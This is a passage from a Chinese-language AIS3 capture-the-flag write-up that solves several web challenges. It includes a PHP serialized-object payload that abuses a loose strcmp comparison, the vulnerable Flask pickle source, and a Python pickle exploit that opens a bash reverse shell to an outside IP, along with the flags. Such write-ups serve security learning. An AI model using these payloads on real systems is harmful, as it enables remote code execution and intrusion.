Do you know?

PHP's mascot is an elephant!

Hello, name ?>! canReadFlag()): ?> This is your flag: Your token is not sufficient to read the flag! Logout!

``` 只要讓 `strcmp($flag, $this->token) == 0` 就好啦，那 `strcmp` 已知的問題就是他 compare 陣列隨然會噴 Warning，但結果會是 `NULL`，而這裡是用兩個 `=` 不是三個，所以 `NULL == 0`，把下面這段 base64 encode 後放回 Cookie 就完成啦。 ``` O:4:"User":2:{s:4:"name";s:1:"a";s:11:"\x00User\x00token";a:0:{}} ``` ``` AIS3{0nly_3l3ph4n75_5h0uld_0wn_1v0ry} ``` ### Snake 這題網站在 [https://snake.ais3.org/](https://snake.ais3.org/)，首頁就是原始碼了 ```python from flask import Flask, Response, request import pickle, base64, traceback Response.default_mimetype = 'text/plain' app = Flask(__name__) @app.route("/") def index(): data = request.values.get('data') if data is not None: try: data = base64.b64decode(data) data = pickle.loads(data) if data and not data: return open('/flag').read() return str(data) except: return traceback.format_exc() return open(__file__).read() ``` 給他 data，他會 `pickle.loads`，沒有任何檢查，所以直接 reverse shell ```python import os import pickle from base64 import * class Exploit: def __reduce__(self): return(os.system, (('bash -c "bash -i >& /dev/tcp/1.2.3.4/9999 0>&1"'),)) ex = Exploit() print(b64decode(pickle.dumps(ex))) ``` ``` AIS3{7h3_5n4k3_w1ll_4lw4y5_b173_b4ck.} ``` ### Owl 這題網站在 [https://turtowl.ais3.org/](https://turtowl.ais3.org/)，首頁有登入頁面，他有個白色字寫 `GUESS THE STUPID USERNAME / PASSWORD`，猜 `admin/admin` 就登進去了，登進去後，又有個白色字按鈕寫 `SHOW HINT`，點下去就看到原始碼了 ```php $alert; document.location.replace($path);"); } if ($action === 'logout') { unset($_SESSION['user']); redirect('/'); } else if ($action === 'login') { // Validate CSRF token $token = @$_POST['csrf_token']; if (!$token || !$csrf->validate($token)) { redirect('/', 'invalid csrf_token'); } // Check if username and password are given $username = @$_POST['username']; $password = @$_POST['password']; if (!$username || !$password) { redirect('/', 'username and password should not be empty'); } // Get rid of sqlmap kiddies if (stripos($_SERVER['HTTP_USER_AGENT